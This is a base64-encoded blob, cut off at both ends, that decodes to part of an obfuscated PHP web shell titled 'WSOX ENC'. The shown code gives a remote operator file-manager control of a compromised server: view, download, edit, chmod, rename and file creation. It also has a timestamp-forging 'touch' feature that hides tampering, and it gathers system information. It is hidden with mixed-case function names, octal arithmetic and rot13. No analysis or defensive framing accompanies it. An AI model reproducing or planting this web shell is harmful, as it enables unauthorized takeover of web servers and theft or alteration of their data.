250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gQEJBc0VOQU1lKCRfUE9TVFsicCJdKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChGVW5jdElPbl9FWGlTVHMoIm1pbWVfY29udGVudF90eXBlIikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfZWkgPSBATWltRV9Db25UZU50X1R5cEUoJF9QT1NUWyJwIl0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGhlQURFcigiQ29udGVudC1UeXBlOiAiIC4gJF9laSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBASGVBZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRfamogPSBARk9wRW4oJF9QT1NUWyJwIl0sICJyIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX2pqKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoIUBGZU9GKCRfamopKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBARkdlVHMoJF9qaiwgMDEwMTMgLSAwNzAyICsgMDE2NjcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQEZDbG9zZSgkX2pqKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBleGl0OwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAibWtmaWxlIjoKICAgICAgICAgICAgICAgICAgICBpZiAoIUBGSUxFX2V4aVN0UygkX1BPU1RbInAiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF94ID0gQGZJbEVNVEltRSgkX1BPU1RbImMiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRfamogPSBAZk9wZU4oJF9QT1NUWyJwIl0sICJ3Iik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX2pqKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZkNMb1NlKCRfamopOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfeCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB0b3VDSCgkX1BPU1RbImMiXSwgJF94LCAkX3gpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB0b1VDaCgkX1BPU1RbInAiXSwgJF94LCAkX3gpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWyJ4Il0gPSAiZWRpdCI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAiPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iOwogICAgICAgIGlmICghQGZpTEVfRXhpc1RzKCRfUE9TVFsicCJdKSkgewogICAgICAgICAgICBlY2hvICJGaWxlIG5vdCBleGlzdHMiOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQogICAgICAgICRfYmhyID0gQFBvc2l4X0dldHB3dWlkKEBGaUxlb3dORXIoJF9QT1NUWyJwIl0pKTsKICAgICAgICBpZiAoISRfYmhyKSB7CiAgICAgICAgICAgICRfYmhyWyJuYW1lIl0gPSBARmlMRW9XTkVSKCRfUE9TVFsicCJdKTsKICAgICAgICAgICAgJF9oc1sibmFtZSJdID0gQGZJTEVHck9VcCgkX1BPU1RbInAiXSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF9ocyA9IEBQb3NJeF9nRXRHUmdpRChARklMRUdST1VwKCRfUE9TVFsicCJdKSk7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjxzcGFuPk5hbWU6PC9zcGFuPiAiIC4gaHRNTFNwZWNpYUxjSEFycyhAQmFTZW5BTWUoJF9QT1NUWyJwIl0pKSAuICIgPHNwYW4+U2l6ZTo8L3NwYW4+ICIgLiAoQGlTX0ZJTGUoJF9QT1NUWyJwIl0pID8gdklld1NpemUoQGZJTEVTSXplKCRfUE9TVFsicCJdKSkgOiAiLSIpIC4gIiA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gIiAuIFdQZVJNU2NPTG9SKCRfUE9TVFsicCJdKSAuICIgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAiIC4gJF9iaHJbIm5hbWUiXSAuICIvIiAuICRfaHNbIm5hbWUiXSAuICI8YnI+IjsKICAgICAgICBlY2hvICI8c3Bhbj5DaGFuZ2UgdGltZTo8L3NwYW4+ICIgLiBAZEFUZSgiWS1tLWQgSDppOnMiLCBAZmlsZUN0SW1lKCRfUE9TVFsicCJdKSkgLiAiIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gIiAuIEBEYVRFKCJZLW0tZCBIOmk6cyIsIEBGaUxlYVRpbWUoJF9QT1NUWyJwIl0pKSAuICIgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAiIC4gQGRhVGUoIlktbS1kIEg6aTpzIiwgQEZpbEVtVGltZSgkX1BPU1RbInAiXSkpIC4gIjxicj48YnI+IjsKICAgICAgICBpZiAoZW1wdHkoJF9QT1NUWyJ4Il0pKSB7CiAgICAgICAgICAgICRfUE9TVFsieCJdID0gInZpZXciOwogICAgICAgIH0KICAgICAgICBpZiAoQElTX0ZpbGUoJF9QT1NUWyJwIl0pKSB7CiAgICAgICAgICAgICRfZmJkID0gYXJyYXkoIlZpZXciLCAiRG93bmxvYWQiLCAiRWRpdCIsICJDaG1vZCIsICJSZW5hbWUiLCAiVG91Y2giKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkX2ZiZCA9IGFycmF5KCJDaG1vZCIsICJSZW5hbWUiLCAiVG91Y2giKTsKICAgICAgICB9CiAgICAgICAgZm9yZWFjaCAoJF9mYmQgYXMgJF9lKSB7CiAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9IyBvbmNsaWNrPVwiZyhudWxsLG51bGwsJyIgLiBVcmxlbkNPZEUoU3RSX3JPdDEzKCRfUE9TVFsicCJdKSkgLiAiJywnIiAuIEBTVHJUb2xvd0VSKCRfZSkgLiAiJylcIj4iIC4gKEBzdHJUb0xPd2VSKCRfZSkgPT0gJF9QT1NUWyJ4Il0gPyAiPGI+WyAiIC4gJF9lIC4gIiBdPC9iPiIgOiAkX2UpIC4gIjwvYT4gIjsKICAgICAgICB9CiAgICAgICAgZWNobyAiPGJyPjxicj4iOwogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJ4Il0pIHsKICAgICAgICAgICAgY2FzZSAidmlldyI6CiAgICAgICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4iOwogICAgICAgICAgICAgICAgJF9qaiA9IEBmb1BFTigkX1BPU1RbInAiXSwgInIiKTsKICAgICAgICAgICAgICAgIGlmICgkX2pqKSB7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCFAZkVvZigkX2pqKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIEh0bWxzUEVDaUFsY0hBcnMoQEZHZXRzKCRfamosIChpbnQpIHJvdW5kKDM0MS4zMzMzMzMzMzMzMyArIDM0MS4zMzMzMzMzMzMzMyArIDM0MS4zMzMzMzMzMzMzMykpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgQGZjbG9TZSgkX2pqKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAiY2htb2QiOgogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbInMiXSkpIHsKICAgICAgICAgICAgICAgICAgICAkX2pmbCA9IC0wNzcgKyAtMDIxIC0gLTAxMjA7CiAgICAgICAgICAgICAgICAgICAgZm9yICgkX28gPSBTVFJsRW4oJF9QT1NUWyJzIl0pIC0gKGludCkgcm91bmQoMC41ICsgMC41KTsgJF9vID49IC0wMjY1IC0gMDYzNyAtIC0wMTEyNDsgLS0kX28pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9qZmwgKz0gKGludCkgJF9QT1NUWyJzIl1bJF9vXSAqIEBwT3coKGludCkgcm91bmQoMi42NjY2NjY2NjY2NjY3ICsgMi42NjY2NjY2NjY2NjY3ICsgMi42NjY2NjY2NjY2NjY3KSwgU3RSTGVuKCRfUE9TVFsicyJdKSAtICRfbyAtIChpbnQpIHJvdW5kKDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMykpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoIUBDaG1PZCgkX1BPU1RbInAiXSwgJF9qZmwpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5zLnZhbHVlPVwiXCI7PC9zY3JpcHQ+IjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAY0xlYVJTdEFUQ0FDSGUoKTsKICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+c189XCJcIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCxudWxsLCciIC4gVVJsRU5Db2RlKHNUUl9yT1QxMygkX1BPU1RbInAiXSkpIC4gIicsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPVwiIiAuIHN1QnN0UihAc3BySW5UZigiJW8iLCBARklsZVBFck1zKCRfUE9TVFsicCJdKSksIC0oaW50KSByb3VuZCgyICsgMikpIC4gIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIj4+XCI+PC9mb3JtPiI7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAiZWRpdCI6CiAgICAgICAgICAgICAgICBpZiAoIUBJU193ckl0QWJsZSgkX1BPU1RbInAiXSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICJGaWxlIGlzbid0IHdyaXRlYWJsZSI7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsicyJdKSkgewogICAgICAgICAgICAgICAgICAgICRfb3psID0gQEZpbEVtdGlNZSgkX1BPU1RbInAiXSk7CiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWyJzIl0gPSBzdUJTdFIoJF9QT1NUWyJzIl0sIChpbnQpIHJvdW5kKDAuNSArIDAuNSkpOwogICAgICAgICAgICAgICAgICAgICRfUE9TVFsicyJdID0gQGJhc2U2NF9EZUNPZGUoJF9QT1NUWyJzIl0pOwogICAgICAgICAgICAgICAgICAgICRfamogPSBAZm9QRU4oJF9QT1NUWyJwIl0sICJ3Iik7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfamopIHsKICAgICAgICAgICAgICAgICAgICAgICAgQGZwdXRzKCRfamosICRfUE9TVFsicyJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgQEZDTG9TZSgkX2pqKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiU2F2ZWQhPGJyPjxzY3JpcHQ+c189XCJcIjs8L3NjcmlwdD4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG9uc3VibWl0PVwiZyhudWxsLG51bGwsJyIgLiB1ckxlbkNvZEUoc3RSX3JPdDEzKCRfUE9TVFsicCJdKSkgLiAiJywnZWRpdCcsJzEnK3V0b2EodGhpcy50ZXh0LnZhbHVlKSk7cmV0dXJuIGZhbHNlO1wiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4iOwogICAgICAgICAgICAgICAgJF9qaiA9IEBGT3BlTigkX1BPU1RbInAiXSwgInIiKTsKICAgICAgICAgICAgICAgIGlmICgkX2pqKSB7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCFAZkVPRigkX2pqKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIEh0bWxzUEVDaWFMY2hBUnMoQGZnRXRzKCRfamosIChpbnQpIHJvdW5kKDM0MS4zMzMzMzMzMzMzMyArIDM0MS4zMzMzMzMzMzMzMyArIDM0MS4zMzMzMzMzMzMzMykpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgQEZjTG9zRSgkX2pqKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiU2F2ZVwiPjwvZm9ybT4iOwogICAgICAgICAgICAgICAgaWYgKCRfb3psKSB7CiAgICAgICAgICAgICAgICAgICAgQFRPdWNIKCRfUE9TVFsicCJdLCAkX296bCwgJF9vemwpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQENMRWFyU1RBVENhY2hFKCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAicmVuYW1lIjoKICAgICAgICAgICAgICAgICRfeCA9IEBmaUxFbXRJTUUoJF9QT1NUWyJjIl0pOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbInMiXSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIUByRW5hTUUoJF9QT1NUWyJwIl0sIFNUUl9Sb3QxMygkX1BPU1RbInMiXSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IHJlbmFtZSE8YnI+IjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF94KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAVE91Q0goJF9QT1NUWyJjIl0sICRfeCwgJF94KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBkaWUoIjxzY3JpcHQ+ZyhudWxsLG51bGwsXCIiIC4gVXJsRU5jT2RlKCRfUE9TVFsicyJdKSAuICJcIixudWxsLFwiXCIpPC9zY3JpcHQ+Iik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQENsZWFSU1RhdENhY0hlKCk7CiAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCxudWxsLCciIC4gVVJsZW5Db0RlKFNUUl9Sb1QxMygkX1BPU1RbInAiXSkpIC4gIicsbnVsbCxyb3QxMyh0aGlzLm5hbWUudmFsdWUpKTtyZXR1cm4gZmFsc2U7XCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9XCIiIC4gSFRNTFNwZWNJQWxDaEFSUygkX1BPU1RbInAiXSkgLiAiXCI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiPj5cIj48L2Zvcm0+IjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICJ0b3VjaCI6CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsicyJdKSkgewogICAgICAgICAgICAgICAgICAgICRfb3psID0gQFN0clRvVGlNZSgkX1BPU1RbInMiXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfb3psKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghQFRvdUNIKCRfUE9TVFsicCJdLCAkX296bCwgJF9vemwpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJGYWlsISI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJUb3VjaGVkISI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJCYWQgdGltZSBmb3JtYXQhIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAY0xFYXJTdGF0Y2FDSGUoKTsKICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+c189XCJcIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCxudWxsLCciIC4gVVJsZW5DT2RFKFNUUl9yT3QxMygkX1BPU1RbInAiXSkpIC4gIicsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPVwiIiAuIEBkYVRlKCJZLW0tZCBIOmk6cyIsIEBmaUxlbVRJbUUoJF9QT1NUWyJwIl0pKSAuICJcIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCI+PlwiPjwvZm9ybT4iOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9CiAgICBmdW5jdGlvbiB3aGVBRGVSKCkKICAgIHsKICAgICAgICAkX3RhaiA9ICR0aGlzLT5fdGFqOwogICAgICAgICRfaGVqID0gJHRoaXMtPl9oZWo7CiAgICAgICAgJF96YSA9ICR0aGlzLT5femE7CiAgICAgICAgJF96cnQgPSAkdGhpcy0+X3pydDsKICAgICAgICAkX3dkYSA9ICR0aGlzLT5fd2RhOwogICAgICAgICRfaSA9ICR0aGlzLT5faTsKICAgICAgICAkX3ZwYiA9ICR0aGlzLT5fdnBiOwogICAgICAgICRfdm9yID0gJHRoaXMtPl92b3I7CiAgICAgICAgaWYgKGVtcHR5KCRfUE9TVFsiY2giXSkpIHsKICAgICAgICAgICAgJF9QT1NUWyJjaCJdID0gJF9oZWo7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbImNoIl0gLiAiJz48dGl0bGU+IiAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICIgLSBXU09YIEVOQzwvdGl0bGU+XHJcblx0XHQ8c3R5bGU+Ym9keXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7Y29sb3I6I2UxZTFlMTt9Ym9keSx0ZCx0aHtmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7fXRhYmxlLmluZm97Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7fXNwYW4saDEsYXtjb2xvcjogIiAuICRfdGFqIC4gIiAhaW1wb3J0YW50O31zcGFue2ZvbnQtd2VpZ2h0OiBib2xkZXI7fXNwYW4ud2Z3e2ZvbnQtd2VpZ2h0Om5vcm1hbDt9aDF7Ym9yZGVyLWxlZnQ6NXB4IHNvbGlkICIgLiAkX3RhaiAuICI7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMjIyO21hcmdpbjowcHg7fWRpdi5jb250ZW50e3BhZGRpbmc6IDVweDttYXJnaW4tbGVmdDo1cHg7YmFja2dyb3VuZC1jb2xvcjojMzMzO31he3RleHQtZGVjb3JhdGlvbjpub25lO31hOmhvdmVye3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fS5tbDF7Ym9yZGVyOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJmbG93OiBhdXRvO30uYmlnYXJlYXt3aWR0aDoxMDAlO2hlaWdodDozMDBweDt9aW5wdXQsdGV4dGFyZWEsc2VsZWN0e21hcmdpbjowO2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlcjoxcHggc29saWQgIiAuICRfdGFqIC4gIjsgZm9udDogOXB0IE1vbm9zcGFjZSwnQ291cmllciBOZXcnO31mb3Jte21hcmdpbjowcHg7fSN0b29sc1RibHt0ZXh0LWFsaWduOmNlbnRlcjt9LnRvb2xzSW5we3dpZHRoOjUwMHB4fS5tYWluIHRoe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWU7fS5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZX0ubDF7YmFja2dyb3VuZC1jb2xvcjojNDQ0fS5sMntiYWNrZ3JvdW5kLWNvbG9yOiMzMzN9cHJle2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO308L3N0eWxlPlxyXG48c2NyaXB0PlxyXG52YXIgY18gPSAnIiAuIGh0bWxzUEVDaWFMY0hhclMoU3RyX1JvVDEzKCRfemEpKSAuICInO1xyXG52YXIgYV8gPSAnIiAuIGhUTUxTcGVDSUFMY0hhclMoJF9QT1NUWyJhIl0pIC4gIidcclxudmFyIGNoXyA9ICciIC4gaFRtbHNQZWNpYWxDaEFycygkX1BPU1RbImNoIl0pIC4gIic7XHJcbnZhciBwXyA9ICciIC4gKFNUUnBvcygkX1BPU1RbInAiXSwgIlxuIikgIT09IGZhbHNlID8gIiIgOiBIdE1MU1BlY2lBTENIQVJzKCRfUE9TVFsicCJdLCAoaW50KSByb3VuZCgxLjUgKyAxLjUpKSkgLiAiJztcclxudmFyIHhfID0gJyIgLiAoU3RycE9TKCRfUE9TVFsieCJdLCAiXG4iKSAhPT0gZmFsc2UgPyAiIiA6IEh0TWxzcGVjSUFMY0hBUlMoJF9QT1NUWyJ4Il0sIDAyNzAgLSAwMjY1KSkgLiAiJztcclxudmFyIHNfID0gJyIgLiAoU1RycG9zKCRfUE9TVFsicyJdLCAiXG4iKSAhPT0gZmFsc2UgPyAiIiA6IGh0bWxTUEVjaUFMQ2hhclMoJF9QT1NUWyJzIl0sIC0wMzE1ICsgLTA0MzYgLSAtMDc1NikpIC4gIic7XHJcbnZhciBkID0gZG9jdW1lbnQ7XHJcbmZ1bmN0aW9uIHNldChhLGMscCx4LHMsY2gpe2lmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87aWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1jXztpZihwIT1udWxsKWQubWYucC52YWx1ZT1wO2Vsc2UgZC5tZi5wLnZhbHVlPXBfO2lmKHghPW51bGwpZC5tZi54LnZhbHVlPXg7ZWxzZSBkLm1mLngudmFsdWU9eF87aWYocyE9bnVsbClkLm1mLnMudmFsdWU9cztlbHNlIGQubWYucy52YWx1ZT1zXztpZihjaCE9bnVsbClkLm1mLmNoLnZhbHVlPWNoO2Vsc2UgZC5tZi5jaC52YWx1ZT1jaF87fWZ1bmN0aW9uIGcoYSxjLHAseCxzLGNoKXtzZXQoYSxjLHAseCxzLGNoKTtkLm1mLnN1Ym1pdCgpO31mdW5jdGlvbiB1dG9hKHN0cil7cmV0dXJuIHdpbmRvdy5idG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChzdHIpKSk7fWZ1bmN0aW9uIGF0b3Uoc3RyKXtyZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KGVzY2FwZSh3aW5kb3cuYXRvYihzdHIpKSk7fWZ1bmN0aW9uIHJvdDEzKHN0cil7dmFyIGlucHV0PSdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzsgdmFyIG91dHB1dD0nTk9QUVJTVFVWV1hZWkFCQ0RFRkdISUpLTE1ub3BxcnN0dXZ3eHl6YWJjZGVmZ2hpamtsbSc7IHZhciBpbmRleD14PT4gaW5wdXQuaW5kZXhPZih4KTsgdmFyIHRyYW5zbGF0ZT14PT4gaW5kZXgoeCkgPiAtMSA/IG91dHB1dFtpbmRleCh4KV0gOiB4OyByZXR1cm4gc3RyLnNwbGl0KCcnKS5tYXAodHJhbnNsYXRlKS5qb2luKCcnKTt9dmFyIGN2aXM9ZmFsc2U7ZnVuY3Rpb24gc2hvdygpe2lmKCFjdmlzKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmF0JykuaW5uZXJIVE1MPSdMaW5rcyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2N3ZCcpLnN0eWxlLmRpc3BsYXk9J2lubGluZSc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xpbmtzJykuc3R5bGUuZGlzcGxheT0nbm9uZSc7Y3Zpcz10cnVlO31lbHNle2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYXQnKS5pbm5lckhUTUw9J1RleHQnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjd2QnKS5zdHlsZS5kaXNwbGF5PSdub25lJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbGlua3MnKS5zdHlsZS5kaXNwbGF5PSdpbmxpbmUnO2N2aXM9ZmFsc2U7fX1cclxuPC9zY3JpcHQ+XHJcbjwvaGVhZD48Ym9keT48ZGl2IHN0eWxlPSdwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO2JhY2tncm91bmQtY29sb3I6IzQ0NDt0b3A6MDtsZWZ0OjA7Jz5cclxuPGZvcm0gbWV0aG9kPXBvc3QgbmFtZT1tZiBzdHlsZT0nZGlzcGxheTpub25lOyc+XHJcbjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+XHJcbjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWM+XHJcbjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXA+XHJcbjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXg+XHJcbjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXM+XHJcbjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoPlxyXG48L2Zvcm0+IjsKICAgICAgICBpZiAoRlVuY1RJb25fZXhJU1RzKCJkaXNrZnJlZXNwYWNlIikpIHsKICAgICAgICAgICAgJF9wbiA9IEBkSVNrZlJFRXNwQWNlKCRfemEpOwogICAgICAgIH0KICAgICAgICBpZiAoRlVuQ1RJT25fRXhpU1RzKCJkaXNrX3RvdGFsX3NwYWNlIikpIHsKICAgICAgICAgICAgJF9lamwgPSBAZElTa190b1RBTF9TUEFDRSgkX3phKTsKICAgICAgICB9CiAgICAgICAgJF9lamwgPSAkX2VqbCA/ICRfZWpsIDogKGludCkgcm91bmQoMC41ICsgMC41KTsKICAgICAgICBpZiAoZlVuY1RpT25fZVhJU1RzKCJwaHBfdW5hbWUiKSkgewogICAgICAgICAgICAkX3YgPSBAcGhwX1VuQU1FKCk7CiAgICAgICAgfSBlbHNlaWYgKGZ1bkNUSW9uX0V4aVNUcygicGhwaW5mbyIpKSB7CiAgICAgICAgICAgIE9iX1NUQXJ0KCk7CiAgICAgICAgICAgIFBIcGlOZk8oKTsKICAgICAgICAgICAgJF9ubyA9IG9iX0dldF9DTEVBbigpOwogICAgICAgICAgICBpZiAoZmFsc2UgIT09IHByZUdfbUF0Y2goIiE8dHI+PHRkIGNsYXNzPVwiZVwiPlN5c3RlbVxccyo8L3RkPjx0ZCBjbGFzcz1cInZcIj4oW15cXDxdKykhaSIsICRfbm8sICRfYmYpKSB7CiAgICAgICAgICAgICAgICAkX3YgPSB0UkltKCRfYmZbMDI1ICsgMDI3IC0gMDUzXSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF9ibCA9ICIiOwogICAgICAgICRfd2UgPSBAZXhQTE9kRSgiLyIsICRfemEpOwogICAgICAgICRfdCA9IGNPdU50KCRfd2UpOwogICAgICAgIGZvciAoJF9vID0gKGludCkgcm91bmQoMCArIDApOyAkX28gPCAkX3QgLSAoMDEwNDEgLSAwMTA0MCk7ICRfbysrKSB7CiAgICAgICAgICAgICRfYmwgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJmbVwiLFwiIjsKICAgICAgICAgICAgZm9yICgkX2VsID0gLTA2MzAgLSAtMDMwMCArIDAzMzA7ICRfZWwgPD0gJF9vOyAkX2VsKyspIHsKICAgICAgICAgICAgICAgICRfYmwgLj0gU1RSX3JvVDEzKCRfd2VbJF9lbF0pIC4gIi8iOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRfYmwgLj0gIlwiLFwiXCIsXCJcIiknPiIgLiAkX3dlWyRfb10gLiAiLzwvYT4iOwogICAgICAgIH0KICAgICAgICAkX2N3ID0gYXJyYXkoIlVURi04IiwgIldpbmRvd3MtMTI1MSIsICJLT0k4LVIiLCAiS09JOC1VIiwgImNwODY2Iik7CiAg